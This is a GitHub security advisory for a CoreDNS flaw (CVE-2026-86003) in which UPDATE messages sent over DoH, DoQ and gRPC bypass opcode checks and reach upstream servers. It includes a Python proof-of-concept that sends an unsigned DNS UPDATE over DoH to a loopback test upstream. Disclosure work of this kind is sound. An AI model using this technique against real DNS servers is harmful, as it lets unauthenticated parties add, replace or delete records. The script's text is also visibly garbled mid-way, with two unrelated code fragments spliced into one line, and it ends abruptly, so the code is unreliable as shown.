GitHub Advisoryadvisory · Go

GHSA-9gm5-9rfh-m6vx CoreDNS DoH/DoQ/gRPC bypass UPDATE rejection enforced on UDP/TCP

HIGH Published 2026-09-17 Modified 2026-09-17 Official page ↗
Aliases
CVE-2026-86003
Ecosystem
Go
Packages
github.com/coredns/coredns
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Weaknesses
CWE-441
Reviewed
2026-09-17

Affected packages

• Go github.com/coredns/coredns: < 1.14.7 → fixed in 1.14.7

Description

Summary CoreDNS accepted RFC 2136 UPDATE messages over DoH, DoH3, DoQ, and DNS-over-gRPC, then allowed the `proxy`/`forward` plugin to send them unchanged to an upstream DNS server. UDP, TCP, and DoT rejected the same opcode before plugin dispatch. If an update-capable upstream trusts CoreDNS's source address or authenticated connection instead of requiring end-to-end TSIG, an unauthenticated client can use CoreDNS to add, replace, or delete DNS records. Details The affected listeners called `dns.Msg.Unpack` without the request policy used by the UDP/TCP server: • DoH and DoH3 • DoQ • DNS-over-gRPC CoreDNS routed the message using its Zone question without checking the opcode. `forward` then passed the original message to the upstream. By contrast, `dns.DefaultMsgAcceptFunc` allows only QUERY and NOTIFY. The fix applies that policy to the raw header via `dnsutil.UnpackRequest` before any affected transport dispatches the request. PoC The reproducer starts a standard-library synthetic DNS upstream on loopback, sends an unsigned UPDATE over DoH, and reports whether the upstream received the record. It supports both UDP and TCP because the `forward` plugin may select either transport. It does not contact or modify a real authoritative server. Clone the repository and build the server: ```bash git clone [email protected]:coredns/coredns.git cd coredns git checkout d5e54040ffab9a5c12c6de27b66f59f62b385195 # latest pre-fix commit from main go build -tags=grpcnotrace -o coredns . ``` Save this as `Corefile.poc`: ```text https://.:8053 { bind 127.0.0.1 tls plugin/tls/test_cert.pem plugin/tls/test_key.pem forward . 127.0.0.1:15354 } ``` Save this as `poc.py`: ```python !/usr/bin/env python3 import argparse import http.client import queue import socket import ssl import struct import threading OPCODE_UPDATE = 5 TYPE_A = 1 CLASS_IN = 1 def encode_name(name): return b"".join(bytes((len(label),)) + label.encode() for label in name.rstrip(".").split(".")) + b"\x00" def update_message(): zone = encode_name("example.com.") + struct.pack("!HH", 6, CLASS_IN) update = ( encode_name("foo.example.com.") + struct.pack("!HHIH", TYPE_A, CLASS_IN, 300, 4) + socket.inet_aton("192.0.2.123") ) header = struct.pack("!HHHHHH", 0x1234, OPCODE_UPDATE = len(message) or offset in seen: raise ValueError("invalid DNS name") seen.add(offset) length = message[offset] if length & 0xC0 == 0xC0: if offset + 1 >= len(message): raise ValueError("truncated compression pointer") if end is None: end = offset + 2 offset = ((length & 0x3F) len(message): raise ValueError("invalid DNS label") labels.append(message[offset : offset + length].decode("ascii")) offset += length def question_end(message, count): offset = 12 for _ in range(count): _, offset = read_name(message, offset) offset += 4 if offset > len(message): raise ValueError("truncated question") return offset def parse_update(message): _, flags, qdcount, _, nscount, _ = struct.unpack_from("!HHHHHH", message) if (flags >> 11) & 0xF != OPCODE_UPDATE or qdcount != 1 or nscount < 1: return None offset = question_end(message, qdcount) name, offset = read_name(message, offset) rrtype, rrclass, ttl, rdlength = struct.unpack_from("!HHIH", message, offset) offset += 10 rdata = message[offset : offset + rdlength] if rrtype != TYPE_A or rrclass != CLASS_IN or len(rdata) != 4: return None return name, ttl, socket.inet_ntoa(rdata) def response_for(message): ident, flags, qdcount, _, _, _ = struct.unpack_from("!HHHHHH", message) end = question_end(message, qdcount) response_flags = flags | 0x8000 return struct.pack("!HHHHHH", ident, response_flags, qdcount, 0, 0, 0) + message[12:end] def handle_message(message, peer, received): try: update = parse_update(message) response = response_for(message) except (ValueError, struct.error): return None if update is not None: received.put((peer, update)) return response def serve_udp(sock, received, stopped): while not stopped.is_set(): try: message, peer = sock.recvfrom(65535) except socket.timeout: continue except OSError: return response = handle_message(message, peer, received) if response is not None: sock.sendto(response, peer) def recv_exact(connection, size, stopped): data = bytearray() while len(data) < size and not stopped.is_set(): try: chunk = connection.recv(size - len(data)) except socket.timeout: continue if not chunk: return None data.extend(chunk) return bytes(data) if len(data) == size else None def serve_tcp(sock, received, stopped): while not stopped.is_set(): try: connection, peer = sock.accept() except socket.timeout: continue except OSError: return with connection: connection.settimeout(0.1) while not stopped.is_set(): length = recv_exact(connection, 2, stopped) if length is None: break message = recv_exact(connection, struct.unpack("!H", length)[0], stopped) if message is None: break response = handle_message(message, peer, received) if response is not None: connection.sendall(struct.pack("!H", len(response)) + response) def send_doh(host, port, payload, timeout): context = ssl._create_unverified_context() connection = http.client.HTTPSConnection(host, port, timeout=timeout, context=context) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() body = response.read() return response.status, len(body) finally: connection.close() def main(): parser = argparse.ArgumentParser(description="Probe whether CoreDNS forwards RFC 2136 UPDATE over DoH") parser.add_argument("--host", default="127.0.0.1") parser.add_argument("--port", type=int, default=8053) parser.add_argument("--upstream-host", default="127.0.0.1") parser.add_argument("--upstream-port", type=int, default=15354) parser.add_argument("--timeout", type=float, default=2.0) parser.add_argument("--expect",…

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-441 Unintended Proxy or Intermediary weakness

References